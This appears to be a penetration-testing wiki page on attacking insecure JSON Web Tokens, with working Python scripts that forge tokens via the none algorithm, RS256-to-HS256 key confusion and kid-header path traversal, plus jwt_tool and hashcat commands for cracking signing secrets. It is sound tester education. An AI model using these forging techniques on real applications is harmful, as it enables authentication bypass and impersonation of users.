Links

Insecure JSON Web Tokens

Theory

Some web applications rely on JSON Web Tokens (JWTs) for stateless authentication and access control instead of stateful ones with traditional session cookies. Some implementations are insecure and allow attackers to bypass controls, impersonate users, or retrieve secrets.

Practice

Testers need to find if, and where, the tokens are used. A JWT is a base64 string of at least 100 characters, made of three parts (header, payload, signature) separated by dot, and usually located in Authorization headers with the Bearer keyword. See the the following example.
Authorization: Bearer eyJ0eXAiOiJKV1Q[...].eyJpc3MiOiJodHRwO[...].HAveF7AqeKj-4[...]
Once the tokens are found, testers need to assess their implementation's security by attempting some known attacks and flaws.

Sensitive data

JWTs are just base64 encoded data. They may contain sensitive unencrypted information.

Signature attack - None algorithm

Testers need to decode the token, change the algorithm to None (or none, NONE, nOnE) in the header, remove the signature, and send the modified token. Some applications are vulnerable to this attack since some support a None algorithm for signature.
This can be done in Python.
import jwt
old_token = 'eyJ0eXAiOiJKV1Q[...].eyJpc3MiOiJodHRwO[...].HAveF7AqeKj-4[...]'
old_token_payload = jwt.decode(old_token, verify=False)
new_token = jwt.encode(old_token_payload, key='', algorithm=None)
print(new_token)
If the token is accepted by the web app, it means the payload can be altered.
import jwt
payload = {'key1':'value1', 'key2':'value2'}
token = jwt.encode(payload, key='', algorithm=None)
print(token)

Signature attack - RS256 to HS256

If the algorithm used to sign the payload is RS256, testers can try to use HS256 instead. Instead of signing the JWT payload with a private key, using HS256 will make the web app sign it with a public key that can sometimes be easily obtained.
Some applications re-use their TLS certificate for JWT operations. The TLS certificate's public key used by a server can be obtained with the following command.
echo | openssl s_client -connect $TARGET:443 | openssl x509 -pubkey -noout > pubkey.pem
The following Python code can be used to identify if the web application is vulnerable to this attack.
import jwt
old_token = 'eyJ0eXAiOiJKV1Q[...].eyJpc3MiOiJodHRwO[...].HAveF7AqeKj-4[...]'
old_token_payload = jwt.decode(old_token, verify=False)
public_key = open('pubkey.pem', 'r').read()
new_token = jwt.encode(old_token_payload, key=public_key, algorithm='HS256')
print(new_token)
If the token is accepted by the web app, it means the payload can be altered.
The jwt library imported in the following Python code raises an exception when attempting to use an asymmetric key or x509 certificate as an HMAC secret. Testers need to install version 0.4.3 pip/pip3 install pyjwt==0.4.3.
import jwt
public_key = open('pubkey.pem', 'r').read()
payload = {'key1':'value1', 'key2':'value2'}
token = jwt.encode(payload, key=public_key, algorithm='HS256')
print(token)

Signature attack - KID header path traversal

The kid (Key ID) is an optional parameter specified in the JWT header part to indicate the key used for signature validation in case there are multiple ones.
The structure of this ID is not specified and it can be any string value (case-sensitive).
The last part is interesting because, if the parameter is vulnerable to directory traversal, this would allow to perform path traversal and point to a file path/file with content we can guess or known somehow, and use its content as the value of the signing key.
There are a bunch of files in /sys that are basically flags. Like the flag that says if ftrace is enabled is either 0 or 1. So the attacker just creates 2 tokens with that as the key and one of them will work!
The example mentioned above is located at /proc/sys/kernel/ftrace_enabled
This can be done in Python.
1
import jwt
2
payload = {'key1':'value1', 'key2':'value2'}
3
token = jwt.encode(payload, key='file-content', algorithm='HS256', headers={"kid": "../../../path/to/file"})
4
print(token)

Special case: file=/dev/null

The signature validation can be bypassed by pointing to /dev/null which will return an empty string, meaning that an empty key could be used for signature.
"JWT authentication bypass via kid header path traversal" PortSwigger lab provides more insight on this technique.
1
import jwt
2
payload = {'key1':'value1', 'key2':'value2'}
3
token = jwt.encode(payload, key='', algorithm='HS256', headers={"kid": "../../../dev/null"})
4
print(token)
If Burp is used to craft the JWT token, a symmetric key with value of the k property in the JWT equal to AA== (base64 value of null byte) must be created.
The same secret value is to be used on jwt.io.

Cracking the secret

When JWT uses HMAC-SHA256/384/512 algorithms to sign the payload, testers can try to find the secret if weak enough.
JWT tool (Python3) can be used for this purpose.
# crack the secret using dictionnary attack
jwt_tool.py -v -C -d $wordlist_file "$JWT_value"
# use the secret to tapmer (-T option) the token
# running this command will show up a menu to choose the value to tamper
# the result token will be signed with the submited secret using the specified singing algorithm "alg" (hs256/hs384/hs512 = HMAC-SHA signing).
jwt_tool.py -v -S $alg -p "$secret" -T "$JWT_value"
JWT secrets can also be cracked using hashcat (see the AD credential cracking page for more detailed info on how to use it).
hashcat --hash-type 16500 --attack-mode 0 $JWTs_file $wordlist_file

Recovering the public key

In certain scenarios, public keys can be recovered when knowing one (for algos ES256, ES384, ES512) or two (for algos RS256, RS384, RS512) tokens.
This can be achieved with the following Python script : JWT-Key-Recover

References